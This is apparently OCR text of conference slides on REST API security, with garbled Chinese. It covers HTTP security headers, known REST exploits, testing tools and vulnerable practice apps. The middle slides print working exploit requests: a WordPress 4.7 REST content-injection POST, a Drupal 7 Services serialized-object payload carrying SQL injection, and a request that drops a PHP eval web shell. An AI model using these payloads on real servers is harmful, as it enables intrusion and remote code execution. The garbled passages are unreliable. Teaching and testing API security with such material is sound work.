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e X-Content-Type-Options: nosniff
— > =|E8 nosniff
* X-XSS-Protection
— > =|E8 X-XSS-Protection: 1; mode=block
— Chrome/Firefox 1 TCK
* X-Frame-Options
— Deny <frame>,<iframe>,<object>
— >=|E8 deny
e Content-Security-Policy
— JEE XSS, %E X script,images,fonts,css [ 44 H.
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* Strict-Transport-Security

— HSTS

— Strict-Transport-Security: max-age=<expire-time>; preload
e Public-Key-Pins

— HTTP-based pulic key pinning HPKP

— Public-Key-Pins: pin-sha256=<baseb64==>; max-age=<expireTime>; report-
uri=<reportURI>
— https://www.ssllabs.com/ssltest/
* Set-Cookie
— Secure
— HttpOnly
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Github APl 5 ¥

~ - & _Tyv . % - - - -
Content-Type: application/octet-stream
o

Server: GitHub.c

2

ETag, Link, X-GitHub-OTP, X-RatelLimit-Limit, X-R

Content-Security- y: cefaylt-src "none’
trict-Transport-Security: max-age=31536000; includeSubdomains; preload

nosniff
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WordPress 4.7 / 4.7.1 REST APl PJ 25 7E NIk
* Drupal Module RESTWS 7.x - Remote PHP Code Execution
e SugarCRM 6.5.23 - REST PHP Object Injection Exploit

e Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code
Execution

* QOracle GlassFish Server - REST CSRF
e QQ Browser 9.6 API AR 2] ] 8 5 2t 75 B2 RA A5 =
e Hacking Docker: Registry APl RFZAL V5 7]
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POST /cms/wordpress_v4 7 1/wordpress/wp-json/wp/v2/posts/1/?id=1abc HTTP/1.1
Accept-Encoding: identity

Content-Length: 26

Host: 172.16.7.20

Content-Type: application/json

Connection: close

User-Agent: Python-urllib/2.7

{"title": "wwwwwwwwwwwww"
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Drupal 7.X Services Module Unserialize() to RCE

POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: 172.16.7.20

Accept: application/json

Content-Type: application/vnd.php.serialized
Content-Length: 888

a:2:{s:8:"username";0:19:"SelectQueryExtender":4:{s:8:".*.query";0:17:"DatabaseCondition":5:{s:13:".*.cond
itions";a:1:{s:12:"#conjunction";s:3:"AND";}s:12:".*.arguments";a:0:{}s:10:".*.changed";b:0;s:29:".*.queryPlac
eholderldentifier";N;s:13:"stringVersion";s:494:"0x3a) UNION SELECT ux.uid AS uid, ux.name AS name,
'SSSD2NH.61ZNb1vbZEV1F0S9fqlz3A0Y 1xueKznB8YWrMsnV/nrTpnd' AS pass, ux.mail AS mail, ux.theme AS
theme, (SELECT data FROM {cache} WHERE cid='services:my_rest_endpoint:resources') AS signature, ux.pass
AS signature_format, ux.created AS created, ux.access AS access, ux.login AS login, ux.status AS status,
ux.timezone AS timezone, ux.language AS language, ux.picture AS picture, ux.init AS init, ux.data AS data
FROM {users} ux WHERE

ux.uid<>(0";}s:19:".* . uniqueldentifier";s:8:"anything";s:13:".*.connection";N;s:14:".*.placeholder";i:0;}s:8:"pa
ssword";s:10:"ouvreboite";}
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Drupal 7.X Services Module Unserialize() to RCE

POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: 172.16.7.20

Accept: application/json

Content-Type: application/json

Content-Length: 91

{"filename":"dixuSOspsOUU.php","data":"<?php
eval(file_get_contents('php:\/\input')); ?>"}
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Drupal Core — 151t IR il

* Drupal CVE-2017-6919 Access Bypass Vulnerability

* File REST resource does not properly validate - Less Critical -
Drupal 8 - CVE-2017-6921

 REST API can bypass comment approval - Access Bypass -
Moderately Critical - Drupal 8 - CVE-2017-6924
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— BurpSuite
— Postman
— Hurl.it
— SoapUI NG Pro

— Fuzzapi
o BEWNAFE
— Hackazon
— Mutillidae
— DVWS
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https://github.com/lalithr95/Fuzzapi
https://github.com/rapid7/hackazon
https://sourceforge.net/projects/mutillidae/
https://github.com/snoopythesecuritydog/dvws
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API-Security-Checklist

e API-Security-Checklist

https://github.com/shieldfy/API-Security-Checklist/




Venustech

THANKS!

g5 W E

OLUASP

Open Web Application
Security Project




